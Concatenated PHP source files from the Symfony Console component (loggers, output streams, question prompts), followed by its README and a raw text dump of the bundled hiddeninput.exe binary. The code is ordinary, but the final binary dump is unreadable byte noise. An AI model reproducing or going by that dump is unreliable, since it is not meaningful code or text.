Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * PSR-3 compliant console logger. * * @author Kévin Dunglas * * @see https://www.php-fig.org/psr/psr-3/ */ class ConsoleLogger extends AbstractLogger { public const INFO = 'info'; public const ERROR = 'error'; private $output; private $verbosityLevelMap = [ LogLevel::EMERGENCY => OutputInterface::VERBOSITY_NORMAL, LogLevel::ALERT => OutputInterface::VERBOSITY_NORMAL, LogLevel::CRITICAL => OutputInterface::VERBOSITY_NORMAL, LogLevel::ERROR => OutputInterface::VERBOSITY_NORMAL, LogLevel::WARNING => OutputInterface::VERBOSITY_NORMAL, LogLevel::NOTICE => OutputInterface::VERBOSITY_VERBOSE, LogLevel::INFO => OutputInterface::VERBOSITY_VERY_VERBOSE, LogLevel::DEBUG => OutputInterface::VERBOSITY_DEBUG, ]; private $formatLevelMap = [ LogLevel::EMERGENCY => self::ERROR, LogLevel::ALERT => self::ERROR, LogLevel::CRITICAL => self::ERROR, LogLevel::ERROR => self::ERROR, LogLevel::WARNING => self::INFO, LogLevel::NOTICE => self::INFO, LogLevel::INFO => self::INFO, LogLevel::DEBUG => self::INFO, ]; private $errored = false; public function __construct(OutputInterface $output, array $verbosityLevelMap = [], array $formatLevelMap = []) { $this->output = $output; $this->verbosityLevelMap = $verbosityLevelMap + $this->verbosityLevelMap; $this->formatLevelMap = $formatLevelMap + $this->formatLevelMap; } /** * {@inheritdoc} * * @return void */ public function log($level, $message, array $context = []) { if (!isset($this->verbosityLevelMap[$level])) { throw new InvalidArgumentException(sprintf('The log level "%s" does not exist.', $level)); } $output = $this->output; // Write to the error output if necessary and available if (self::ERROR === $this->formatLevelMap[$level]) { if ($this->output instanceof ConsoleOutputInterface) { $output = $output->getErrorOutput(); } $this->errored = true; } // the if condition check isn't necessary -- it's the same one that $output will do internally anyway. // We only do it for efficiency here as the message formatting is relatively expensive. if ($output->getVerbosity() >= $this->verbosityLevelMap[$level]) { $output->writeln(sprintf('<%1$s>[%2$s] %3$s', $this->formatLevelMap[$level], $level, $this->interpolate($message, $context)), $this->verbosityLevelMap[$level]); } } /** * Returns true when any messages have been logged at error levels. * * @return bool */ public function hasErrored() { return $this->errored; } /** * Interpolates context values into the message placeholders. * * @author PHP Framework Interoperability Group */ private function interpolate(string $message, array $context): string { if (!str_contains($message, '{')) { return $message; } $replacements = []; foreach ($context as $key => $val) { if (null === $val || \is_scalar($val) || (\is_object($val) && method_exists($val, '__toString'))) { $replacements["{{$key}}"] = $val; } elseif ($val instanceof \DateTimeInterface) { $replacements["{{$key}}"] = $val->format(\DateTime::RFC3339); } elseif (\is_object($val)) { $replacements["{{$key}}"] = '[object '.\get_class($val).']'; } else { $replacements["{{$key}}"] = '['.\gettype($val).']'; } } return strtr($message, $replacements); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; /** * @author Jean-François Simon */ class BufferedOutput extends Output { private $buffer = ''; /** * Empties buffer and returns its content. * * @return string */ public function fetch() { $content = $this->buffer; $this->buffer = ''; return $content; } /** * {@inheritdoc} */ protected function doWrite(string $message, bool $newline) { $this->buffer .= $message; if ($newline) { $this->buffer .= \PHP_EOL; } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; use Symfony\Component\Console\Formatter\OutputFormatterInterface; /** * ConsoleOutput is the default class for all CLI output. It uses STDOUT and STDERR. * * This class is a convenient wrapper around `StreamOutput` for both STDOUT and STDERR. * * $output = new ConsoleOutput(); * * This is equivalent to: * * $output = new StreamOutput(fopen('php://stdout', 'w')); * $stdErr = new StreamOutput(fopen('php://stderr', 'w')); * * @author Fabien Potencier */ class ConsoleOutput extends StreamOutput implements ConsoleOutputInterface { private $stderr; private $consoleSectionOutputs = []; /** * @param int $verbosity The verbosity level (one of the VERBOSITY constants in OutputInterface) * @param bool|null $decorated Whether to decorate messages (null for auto-guessing) * @param OutputFormatterInterface|null $formatter Output formatter instance (null to use default OutputFormatter) */ public function __construct(int $verbosity = self::VERBOSITY_NORMAL, ?bool $decorated = null, ?OutputFormatterInterface $formatter = null) { parent::__construct($this->openOutputStream(), $verbosity, $decorated, $formatter); if (null === $formatter) { // for BC reasons, stdErr has it own Formatter only when user don't inject a specific formatter. $this->stderr = new StreamOutput($this->openErrorStream(), $verbosity, $decorated); return; } $actualDecorated = $this->isDecorated(); $this->stderr = new StreamOutput($this->openErrorStream(), $verbosity, $decorated, $this->getFormatter()); if (null === $decorated) { $this->setDecorated($actualDecorated && $this->stderr->isDecorated()); } } /** * Creates a new output section. */ public function section(): ConsoleSectionOutput { return new ConsoleSectionOutput($this->getStream(), $this->consoleSectionOutputs, $this->getVerbosity(), $this->isDecorated(), $this->getFormatter()); } /** * {@inheritdoc} */ public function setDecorated(bool $decorated) { parent::setDecorated($decorated); $this->stderr->setDecorated($decorated); } /** * {@inheritdoc} */ public function setFormatter(OutputFormatterInterface $formatter) { parent::setFormatter($formatter); $this->stderr->setFormatter($formatter); } /** * {@inheritdoc} */ public function setVerbosity(int $level) { parent::setVerbosity($level); $this->stderr->setVerbosity($level); } /** * {@inheritdoc} */ public function getErrorOutput() { return $this->stderr; } /** * {@inheritdoc} */ public function setErrorOutput(OutputInterface $error) { $this->stderr = $error; } /** * Returns true if current environment supports writing console output to * STDOUT. * * @return bool */ protected function hasStdoutSupport() { return false === $this->isRunningOS400(); } /** * Returns true if current environment supports writing console output to * STDERR. * * @return bool */ protected function hasStderrSupport() { return false === $this->isRunningOS400(); } /** * Checks if current executing environment is IBM iSeries (OS400), which * doesn't properly convert character-encodings between ASCII to EBCDIC. */ private function isRunningOS400(): bool { $checks = [ \function_exists('php_uname') ? php_uname('s') : '', getenv('OSTYPE'), \PHP_OS, ]; return false !== stripos(implode(';', $checks), 'OS400'); } /** * @return resource */ private function openOutputStream() { if (!$this->hasStdoutSupport()) { return fopen('php://output', 'w'); } // Use STDOUT when possible to prevent from opening too many file descriptors return \defined('STDOUT') ? \STDOUT : (@fopen('php://stdout', 'w') ?: fopen('php://output', 'w')); } /** * @return resource */ private function openErrorStream() { if (!$this->hasStderrSupport()) { return fopen('php://output', 'w'); } // Use STDERR when possible to prevent from opening too many file descriptors return \defined('STDERR') ? \STDERR : (@fopen('php://stderr', 'w') ?: fopen('php://output', 'w')); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; /** * ConsoleOutputInterface is the interface implemented by ConsoleOutput class. * This adds information about stderr and section output stream. * * @author Dariusz Górecki */ interface ConsoleOutputInterface extends OutputInterface { /** * Gets the OutputInterface for errors. * * @return OutputInterface */ public function getErrorOutput(); public function setErrorOutput(OutputInterface $error); public function section(): ConsoleSectionOutput; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; use Symfony\Component\Console\Formatter\OutputFormatterInterface; use Symfony\Component\Console\Helper\Helper; use Symfony\Component\Console\Terminal; /** * @author Pierre du Plessis * @author Gabriel Ostrolucký */ class ConsoleSectionOutput extends StreamOutput { private $content = []; private $lines = 0; private $sections; private $terminal; /** * @param resource $stream * @param ConsoleSectionOutput[] $sections */ public function __construct($stream, array &$sections, int $verbosity, bool $decorated, OutputFormatterInterface $formatter) { parent::__construct($stream, $verbosity, $decorated, $formatter); array_unshift($sections, $this); $this->sections = &$sections; $this->terminal = new Terminal(); } /** * Clears previous output for this section. * * @param int $lines Number of lines to clear. If null, then the entire output of this section is cleared */ public function clear(?int $lines = null) { if (empty($this->content) || !$this->isDecorated()) { return; } if ($lines) { array_splice($this->content, -($lines * 2)); // Multiply lines by 2 to cater for each new line added between content } else { $lines = $this->lines; $this->content = []; } $this->lines -= $lines; parent::doWrite($this->popStreamContentUntilCurrentSection($lines), false); } /** * Overwrites the previous output with a new message. * * @param array|string $message */ public function overwrite($message) { $this->clear(); $this->writeln($message); } public function getContent(): string { return implode('', $this->content); } /** * @internal */ public function addContent(string $input) { foreach (explode(\PHP_EOL, $input) as $lineContent) { $this->lines += ceil($this->getDisplayLength($lineContent) / $this->terminal->getWidth()) ?: 1; $this->content[] = $lineContent; $this->content[] = \PHP_EOL; } } /** * {@inheritdoc} */ protected function doWrite(string $message, bool $newline) { if (!$this->isDecorated()) { parent::doWrite($message, $newline); return; } $erasedContent = $this->popStreamContentUntilCurrentSection(); $this->addContent($message); parent::doWrite($message, true); parent::doWrite($erasedContent, false); } /** * At initial stage, cursor is at the end of stream output. This method makes cursor crawl upwards until it hits * current section. Then it erases content it crawled through. Optionally, it erases part of current section too. */ private function popStreamContentUntilCurrentSection(int $numberOfLinesToClearFromCurrentSection = 0): string { $numberOfLinesToClear = $numberOfLinesToClearFromCurrentSection; $erasedContent = []; foreach ($this->sections as $section) { if ($section === $this) { break; } $numberOfLinesToClear += $section->lines; $erasedContent[] = $section->getContent(); } if ($numberOfLinesToClear > 0) { // move cursor up n lines parent::doWrite(sprintf("\x1b[%dA", $numberOfLinesToClear), false); // erase to end of screen parent::doWrite("\x1b[0J", false); } return implode('', array_reverse($erasedContent)); } private function getDisplayLength(string $text): int { return Helper::width(Helper::removeDecoration($this->getFormatter(), str_replace("\t", ' ', $text))); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; use Symfony\Component\Console\Formatter\NullOutputFormatter; use Symfony\Component\Console\Formatter\OutputFormatterInterface; /** * NullOutput suppresses all output. * * $output = new NullOutput(); * * @author Fabien Potencier * @author Tobias Schultze */ class NullOutput implements OutputInterface { private $formatter; /** * {@inheritdoc} */ public function setFormatter(OutputFormatterInterface $formatter) { // do nothing } /** * {@inheritdoc} */ public function getFormatter() { if ($this->formatter) { return $this->formatter; } // to comply with the interface we must return a OutputFormatterInterface return $this->formatter = new NullOutputFormatter(); } /** * {@inheritdoc} */ public function setDecorated(bool $decorated) { // do nothing } /** * {@inheritdoc} */ public function isDecorated() { return false; } /** * {@inheritdoc} */ public function setVerbosity(int $level) { // do nothing } /** * {@inheritdoc} */ public function getVerbosity() { return self::VERBOSITY_QUIET; } /** * {@inheritdoc} */ public function isQuiet() { return true; } /** * {@inheritdoc} */ public function isVerbose() { return false; } /** * {@inheritdoc} */ public function isVeryVerbose() { return false; } /** * {@inheritdoc} */ public function isDebug() { return false; } /** * {@inheritdoc} */ public function writeln($messages, int $options = self::OUTPUT_NORMAL) { // do nothing } /** * {@inheritdoc} */ public function write($messages, bool $newline = false, int $options = self::OUTPUT_NORMAL) { // do nothing } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Formatter\OutputFormatterInterface; /** * Base class for output classes. * * There are five levels of verbosity: * * * normal: no option passed (normal output) * * verbose: -v (more output) * * very verbose: -vv (highly extended output) * * debug: -vvv (all debug output) * * quiet: -q (no output) * * @author Fabien Potencier */ abstract class Output implements OutputInterface { private $verbosity; private $formatter; /** * @param int|null $verbosity The verbosity level (one of the VERBOSITY constants in OutputInterface) * @param bool $decorated Whether to decorate messages * @param OutputFormatterInterface|null $formatter Output formatter instance (null to use default OutputFormatter) */ public function __construct(?int $verbosity = self::VERBOSITY_NORMAL, bool $decorated = false, ?OutputFormatterInterface $formatter = null) { $this->verbosity = $verbosity ?? self::VERBOSITY_NORMAL; $this->formatter = $formatter ?? new OutputFormatter(); $this->formatter->setDecorated($decorated); } /** * {@inheritdoc} */ public function setFormatter(OutputFormatterInterface $formatter) { $this->formatter = $formatter; } /** * {@inheritdoc} */ public function getFormatter() { return $this->formatter; } /** * {@inheritdoc} */ public function setDecorated(bool $decorated) { $this->formatter->setDecorated($decorated); } /** * {@inheritdoc} */ public function isDecorated() { return $this->formatter->isDecorated(); } /** * {@inheritdoc} */ public function setVerbosity(int $level) { $this->verbosity = $level; } /** * {@inheritdoc} */ public function getVerbosity() { return $this->verbosity; } /** * {@inheritdoc} */ public function isQuiet() { return self::VERBOSITY_QUIET === $this->verbosity; } /** * {@inheritdoc} */ public function isVerbose() { return self::VERBOSITY_VERBOSE <= $this->verbosity; } /** * {@inheritdoc} */ public function isVeryVerbose() { return self::VERBOSITY_VERY_VERBOSE <= $this->verbosity; } /** * {@inheritdoc} */ public function isDebug() { return self::VERBOSITY_DEBUG <= $this->verbosity; } /** * {@inheritdoc} */ public function writeln($messages, int $options = self::OUTPUT_NORMAL) { $this->write($messages, true, $options); } /** * {@inheritdoc} */ public function write($messages, bool $newline = false, int $options = self::OUTPUT_NORMAL) { if (!is_iterable($messages)) { $messages = [$messages]; } $types = self::OUTPUT_NORMAL | self::OUTPUT_RAW | self::OUTPUT_PLAIN; $type = $types & $options ?: self::OUTPUT_NORMAL; $verbosities = self::VERBOSITY_QUIET | self::VERBOSITY_NORMAL | self::VERBOSITY_VERBOSE | self::VERBOSITY_VERY_VERBOSE | self::VERBOSITY_DEBUG; $verbosity = $verbosities & $options ?: self::VERBOSITY_NORMAL; if ($verbosity > $this->getVerbosity()) { return; } foreach ($messages as $message) { switch ($type) { case OutputInterface::OUTPUT_NORMAL: $message = $this->formatter->format($message); break; case OutputInterface::OUTPUT_RAW: break; case OutputInterface::OUTPUT_PLAIN: $message = strip_tags($this->formatter->format($message)); break; } $this->doWrite($message ?? '', $newline); } } /** * Writes a message to the output. */ abstract protected function doWrite(string $message, bool $newline); } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; use Symfony\Component\Console\Formatter\OutputFormatterInterface; /** * OutputInterface is the interface implemented by all Output classes. * * @author Fabien Potencier */ interface OutputInterface { public const VERBOSITY_QUIET = 16; public const VERBOSITY_NORMAL = 32; public const VERBOSITY_VERBOSE = 64; public const VERBOSITY_VERY_VERBOSE = 128; public const VERBOSITY_DEBUG = 256; public const OUTPUT_NORMAL = 1; public const OUTPUT_RAW = 2; public const OUTPUT_PLAIN = 4; /** * Writes a message to the output. * * @param string|iterable $messages The message as an iterable of strings or a single string * @param bool $newline Whether to add a newline * @param int $options A bitmask of options (one of the OUTPUT or VERBOSITY constants), 0 is considered the same as self::OUTPUT_NORMAL | self::VERBOSITY_NORMAL */ public function write($messages, bool $newline = false, int $options = 0); /** * Writes a message to the output and adds a newline at the end. * * @param string|iterable $messages The message as an iterable of strings or a single string * @param int $options A bitmask of options (one of the OUTPUT or VERBOSITY constants), 0 is considered the same as self::OUTPUT_NORMAL | self::VERBOSITY_NORMAL */ public function writeln($messages, int $options = 0); /** * Sets the verbosity of the output. */ public function setVerbosity(int $level); /** * Gets the current verbosity of the output. * * @return int */ public function getVerbosity(); /** * Returns whether verbosity is quiet (-q). * * @return bool */ public function isQuiet(); /** * Returns whether verbosity is verbose (-v). * * @return bool */ public function isVerbose(); /** * Returns whether verbosity is very verbose (-vv). * * @return bool */ public function isVeryVerbose(); /** * Returns whether verbosity is debug (-vvv). * * @return bool */ public function isDebug(); /** * Sets the decorated flag. */ public function setDecorated(bool $decorated); /** * Gets the decorated flag. * * @return bool */ public function isDecorated(); public function setFormatter(OutputFormatterInterface $formatter); /** * Returns current output formatter instance. * * @return OutputFormatterInterface */ public function getFormatter(); } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Formatter\OutputFormatterInterface; /** * StreamOutput writes the output to a given stream. * * Usage: * * $output = new StreamOutput(fopen('php://stdout', 'w')); * * As `StreamOutput` can use any stream, you can also use a file: * * $output = new StreamOutput(fopen('/path/to/output.log', 'a', false)); * * @author Fabien Potencier */ class StreamOutput extends Output { private $stream; /** * @param resource $stream A stream resource * @param int $verbosity The verbosity level (one of the VERBOSITY constants in OutputInterface) * @param bool|null $decorated Whether to decorate messages (null for auto-guessing) * @param OutputFormatterInterface|null $formatter Output formatter instance (null to use default OutputFormatter) * * @throws InvalidArgumentException When first argument is not a real stream */ public function __construct($stream, int $verbosity = self::VERBOSITY_NORMAL, ?bool $decorated = null, ?OutputFormatterInterface $formatter = null) { if (!\is_resource($stream) || 'stream' !== get_resource_type($stream)) { throw new InvalidArgumentException('The StreamOutput class needs a stream as its first argument.'); } $this->stream = $stream; if (null === $decorated) { $decorated = $this->hasColorSupport(); } parent::__construct($verbosity, $decorated, $formatter); } /** * Gets the stream attached to this StreamOutput instance. * * @return resource */ public function getStream() { return $this->stream; } protected function doWrite(string $message, bool $newline) { if ($newline) { $message .= \PHP_EOL; } @fwrite($this->stream, $message); fflush($this->stream); } /** * Returns true if the stream supports colorization. * * Colorization is disabled if not supported by the stream: * * This is tricky on Windows, because Cygwin, Msys2 etc emulate pseudo * terminals via named pipes, so we can only check the environment. * * Reference: Composer\XdebugHandler\Process::supportsColor * https://github.com/composer/xdebug-handler * * @return bool true if the stream supports colorization, false otherwise */ protected function hasColorSupport() { // Follow https://no-color.org/ if ('' !== (($_SERVER['NO_COLOR'] ?? getenv('NO_COLOR'))[0] ?? '')) { return false; } // Detect msysgit/mingw and assume this is a tty because detection // does not work correctly, see https://github.com/composer/composer/issues/9690 if (!@stream_isatty($this->stream) && !\in_array(strtoupper((string) getenv('MSYSTEM')), ['MINGW32', 'MINGW64'], true)) { return false; } if ('\\' === \DIRECTORY_SEPARATOR && @sapi_windows_vt100_support($this->stream)) { return true; } if ('Hyper' === getenv('TERM_PROGRAM') || false !== getenv('COLORTERM') || false !== getenv('ANSICON') || 'ON' === getenv('ConEmuANSI') ) { return true; } if ('dumb' === $term = (string) getenv('TERM')) { return false; } // See https://github.com/chalk/supports-color/blob/d4f413efaf8da045c5ab440ed418ef02dbb28bf1/index.js#L157 return preg_match('/^((screen|xterm|vt100|vt220|putty|rxvt|ansi|cygwin|linux).*)|(.*-256(color)?(-bce)?)$/', $term); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Formatter\OutputFormatterInterface; /** * A BufferedOutput that keeps only the last N chars. * * @author Jérémy Derussé */ class TrimmedBufferOutput extends Output { private $maxLength; private $buffer = ''; public function __construct(int $maxLength, ?int $verbosity = self::VERBOSITY_NORMAL, bool $decorated = false, ?OutputFormatterInterface $formatter = null) { if ($maxLength <= 0) { throw new InvalidArgumentException(sprintf('"%s()" expects a strictly positive maxLength. Got %d.', __METHOD__, $maxLength)); } parent::__construct($verbosity, $decorated, $formatter); $this->maxLength = $maxLength; } /** * Empties buffer and returns its content. * * @return string */ public function fetch() { $content = $this->buffer; $this->buffer = ''; return $content; } /** * {@inheritdoc} */ protected function doWrite(string $message, bool $newline) { $this->buffer .= $message; if ($newline) { $this->buffer .= \PHP_EOL; } $this->buffer = substr($this->buffer, 0 - $this->maxLength); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Question; use Symfony\Component\Console\Exception\InvalidArgumentException; /** * Represents a choice question. * * @author Fabien Potencier */ class ChoiceQuestion extends Question { private $choices; private $multiselect = false; private $prompt = ' > '; private $errorMessage = 'Value "%s" is invalid'; /** * @param string $question The question to ask to the user * @param array $choices The list of available choices * @param mixed $default The default answer to return */ public function __construct(string $question, array $choices, $default = null) { if (!$choices) { throw new \LogicException('Choice question must have at least 1 choice available.'); } parent::__construct($question, $default); $this->choices = $choices; $this->setValidator($this->getDefaultValidator()); $this->setAutocompleterValues($choices); } /** * Returns available choices. * * @return array */ public function getChoices() { return $this->choices; } /** * Sets multiselect option. * * When multiselect is set to true, multiple choices can be answered. * * @return $this */ public function setMultiselect(bool $multiselect) { $this->multiselect = $multiselect; $this->setValidator($this->getDefaultValidator()); return $this; } /** * Returns whether the choices are multiselect. * * @return bool */ public function isMultiselect() { return $this->multiselect; } /** * Gets the prompt for choices. * * @return string */ public function getPrompt() { return $this->prompt; } /** * Sets the prompt for choices. * * @return $this */ public function setPrompt(string $prompt) { $this->prompt = $prompt; return $this; } /** * Sets the error message for invalid values. * * The error message has a string placeholder (%s) for the invalid value. * * @return $this */ public function setErrorMessage(string $errorMessage) { $this->errorMessage = $errorMessage; $this->setValidator($this->getDefaultValidator()); return $this; } private function getDefaultValidator(): callable { $choices = $this->choices; $errorMessage = $this->errorMessage; $multiselect = $this->multiselect; $isAssoc = $this->isAssoc($choices); return function ($selected) use ($choices, $errorMessage, $multiselect, $isAssoc) { if ($multiselect) { // Check for a separated comma values if (!preg_match('/^[^,]+(?:,[^,]+)*$/', (string) $selected, $matches)) { throw new InvalidArgumentException(sprintf($errorMessage, $selected)); } $selectedChoices = explode(',', (string) $selected); } else { $selectedChoices = [$selected]; } if ($this->isTrimmable()) { foreach ($selectedChoices as $k => $v) { $selectedChoices[$k] = trim((string) $v); } } $multiselectChoices = []; foreach ($selectedChoices as $value) { $results = []; foreach ($choices as $key => $choice) { if ($choice === $value) { $results[] = $key; } } if (\count($results) > 1) { throw new InvalidArgumentException(sprintf('The provided answer is ambiguous. Value should be one of "%s".', implode('" or "', $results))); } $result = array_search($value, $choices); if (!$isAssoc) { if (false !== $result) { $result = $choices[$result]; } elseif (isset($choices[$value])) { $result = $choices[$value]; } } elseif (false === $result && isset($choices[$value])) { $result = $value; } if (false === $result) { throw new InvalidArgumentException(sprintf($errorMessage, $value)); } // For associative choices, consistently return the key as string: $multiselectChoices[] = $isAssoc ? (string) $result : $result; } if ($multiselect) { return $multiselectChoices; } return current($multiselectChoices); }; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Question; /** * Represents a yes/no question. * * @author Fabien Potencier */ class ConfirmationQuestion extends Question { private $trueAnswerRegex; /** * @param string $question The question to ask to the user * @param bool $default The default answer to return, true or false * @param string $trueAnswerRegex A regex to match the "yes" answer */ public function __construct(string $question, bool $default = true, string $trueAnswerRegex = '/^y/i') { parent::__construct($question, $default); $this->trueAnswerRegex = $trueAnswerRegex; $this->setNormalizer($this->getDefaultNormalizer()); } /** * Returns the default answer normalizer. */ private function getDefaultNormalizer(): callable { $default = $this->getDefault(); $regex = $this->trueAnswerRegex; return function ($answer) use ($default, $regex) { if (\is_bool($answer)) { return $answer; } $answerIsTrue = (bool) preg_match($regex, $answer); if (false === $default) { return $answer && $answerIsTrue; } return '' === $answer || $answerIsTrue; }; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Question; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\LogicException; /** * Represents a Question. * * @author Fabien Potencier */ class Question { private $question; private $attempts; private $hidden = false; private $hiddenFallback = true; private $autocompleterCallback; private $validator; private $default; private $normalizer; private $trimmable = true; private $multiline = false; /** * @param string $question The question to ask to the user * @param string|bool|int|float|null $default The default answer to return if the user enters nothing */ public function __construct(string $question, $default = null) { $this->question = $question; $this->default = $default; } /** * Returns the question. * * @return string */ public function getQuestion() { return $this->question; } /** * Returns the default answer. * * @return string|bool|int|float|null */ public function getDefault() { return $this->default; } /** * Returns whether the user response accepts newline characters. */ public function isMultiline(): bool { return $this->multiline; } /** * Sets whether the user response should accept newline characters. * * @return $this */ public function setMultiline(bool $multiline): self { $this->multiline = $multiline; return $this; } /** * Returns whether the user response must be hidden. * * @return bool */ public function isHidden() { return $this->hidden; } /** * Sets whether the user response must be hidden or not. * * @return $this * * @throws LogicException In case the autocompleter is also used */ public function setHidden(bool $hidden) { if ($this->autocompleterCallback) { throw new LogicException('A hidden question cannot use the autocompleter.'); } $this->hidden = $hidden; return $this; } /** * In case the response cannot be hidden, whether to fallback on non-hidden question or not. * * @return bool */ public function isHiddenFallback() { return $this->hiddenFallback; } /** * Sets whether to fallback on non-hidden question if the response cannot be hidden. * * @return $this */ public function setHiddenFallback(bool $fallback) { $this->hiddenFallback = $fallback; return $this; } /** * Gets values for the autocompleter. * * @return iterable|null */ public function getAutocompleterValues() { $callback = $this->getAutocompleterCallback(); return $callback ? $callback('') : null; } /** * Sets values for the autocompleter. * * @return $this * * @throws LogicException */ public function setAutocompleterValues(?iterable $values) { if (\is_array($values)) { $values = $this->isAssoc($values) ? array_merge(array_keys($values), array_values($values)) : array_values($values); $callback = static function () use ($values) { return $values; }; } elseif ($values instanceof \Traversable) { $valueCache = null; $callback = static function () use ($values, &$valueCache) { return $valueCache ?? $valueCache = iterator_to_array($values, false); }; } else { $callback = null; } return $this->setAutocompleterCallback($callback); } /** * Gets the callback function used for the autocompleter. */ public function getAutocompleterCallback(): ?callable { return $this->autocompleterCallback; } /** * Sets the callback function used for the autocompleter. * * The callback is passed the user input as argument and should return an iterable of corresponding suggestions. * * @return $this */ public function setAutocompleterCallback(?callable $callback = null): self { if ($this->hidden && null !== $callback) { throw new LogicException('A hidden question cannot use the autocompleter.'); } $this->autocompleterCallback = $callback; return $this; } /** * Sets a validator for the question. * * @return $this */ public function setValidator(?callable $validator = null) { $this->validator = $validator; return $this; } /** * Gets the validator for the question. * * @return callable|null */ public function getValidator() { return $this->validator; } /** * Sets the maximum number of attempts. * * Null means an unlimited number of attempts. * * @return $this * * @throws InvalidArgumentException in case the number of attempts is invalid */ public function setMaxAttempts(?int $attempts) { if (null !== $attempts && $attempts < 1) { throw new InvalidArgumentException('Maximum number of attempts must be a positive value.'); } $this->attempts = $attempts; return $this; } /** * Gets the maximum number of attempts. * * Null means an unlimited number of attempts. * * @return int|null */ public function getMaxAttempts() { return $this->attempts; } /** * Sets a normalizer for the response. * * The normalizer can be a callable (a string), a closure or a class implementing __invoke. * * @return $this */ public function setNormalizer(callable $normalizer) { $this->normalizer = $normalizer; return $this; } /** * Gets the normalizer for the response. * * The normalizer can ba a callable (a string), a closure or a class implementing __invoke. * * @return callable|null */ public function getNormalizer() { return $this->normalizer; } protected function isAssoc(array $array) { return (bool) \count(array_filter(array_keys($array), 'is_string')); } public function isTrimmable(): bool { return $this->trimmable; } /** * @return $this */ public function setTrimmable(bool $trimmable): self { $this->trimmable = $trimmable; return $this; } } Console Component ================= The Console component eases the creation of beautiful and testable command line interfaces. Sponsor ------- The Console component for Symfony 5.4/6.0 is [backed][1] by [Les-Tilleuls.coop][2]. Les-Tilleuls.coop is a team of 50+ Symfony experts who can help you design, develop and fix your projects. We provide a wide range of professional services including development, consulting, coaching, training and audits. We also are highly skilled in JS, Go and DevOps. We are a worker cooperative! Help Symfony by [sponsoring][3] its development! Resources --------- * [Documentation](https://symfony.com/doc/current/components/console.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) Credits ------- `Resources/bin/hiddeninput.exe` is a third party binary provided within this component. Find sources and license at https://github.com/Seldaek/hidden-input. [1]: https://symfony.com/backers [2]: https://les-tilleuls.coop [3]: https://symfony.com/sponsor MZ@ !L!This program cannot be run in DOS mode. $,;B;B;B2מ:B2-B2ƞ9B2ў?Ba98B;CB2Ȟ:B2֞:B2Ӟ:BRich;BPELMoO  8 @`?@"P@ Pp!8!@ .text   `.rdata @@.data0@.rsrc @@@.relocP"@Bj$@xj @eEPV @EЃPV @MX @eEP5H @L @YY5\ @EP5` @D @YYP @MMT @3H; 0@uh@l3@$40@5h3@40@h$0@h(0@h 0@ @00@}jYjh"@3ۉ]dp]俀3@SVW0 @;t;u3Fuh4 @3F|3@;u j\Y;|3@u,5|3@h @h @YYtE5<0@|3@;uh @h @lYY|3@9]uSW8 @93@th3@Yt SjS3@$0@ @5$0@5(0@5 0@ 80@9,0@u7P @E MPQYYËeE80@39,0@uPh @9<0@u @E80@øMZf9@t3M<@@8PEuH t uՃv39xtv39j,0@p @jl @YY3@3@ @ t3@ @ p3@ @x3@V=0@u h@ @Yg=0@u j @Y3{U(H1@ D1@@1@<1@581@=41@f`1@f T1@f01@f,1@f%(1@f-$1@X1@EL1@EP1@E\1@0@P1@L0@@0@ D0@0@0@ @0@j?Yj @h!@$ @=0@ujYh ( @P, @ËUE8csmu*xu$@= t=!t="t=@u3]hH@ @3% @jh("@b53@5 @YEu u @YgjYe53@։E53@YYEEPEPu5l @YPUEu֣3@uփ3@E EjYËUuNYH]ËV!@!@W;stЃ;r_^ËV"@"@W;stЃ;r_^% @̋UMMZf9t3]ËA<8PEu3ҹ f9H‹]̋UEH<ASVq3WDv} H ;r X;r B(;r3_^[]̋UjhH"@he@dPSVW0@1E3PEdeEh@*tUE-@Ph@Pt;@$ЃEMd Y_^[]ËE3=‹ËeE3Md Y_^[]% @% @he@d5D$l$l$+SVW0@1E3PeuEEEEdËMd Y__^[]QËUuuu uh@h0@]ËVhh3V t VVVVV^3ËU0@eeSWN@;t t У0@`VEP< @u3u @3 @3 @3EP @E3E3;uO@ u 50@։50@^_[%t @%x @%| @% @% @% @% @% @% @Pd5D$ +d$ SVW(0@3PEuEEdËMd Y__^[]QËM3M%T @T$B J3J3l"@s###)r)b)H)4))(((((()#$%%&d&&$('''''(((6('H(Z(t(('''''l'^'R'F'>'>(0'')@W@@MoOl!@0@0@bad allocationH0@!@RSDSьJ!LZc:\users\seld\documents\visual studio 2010\Projects\hiddeninp\Release\hiddeninp.pdbe@@:@@@@"d"@"# $#&D H#(h 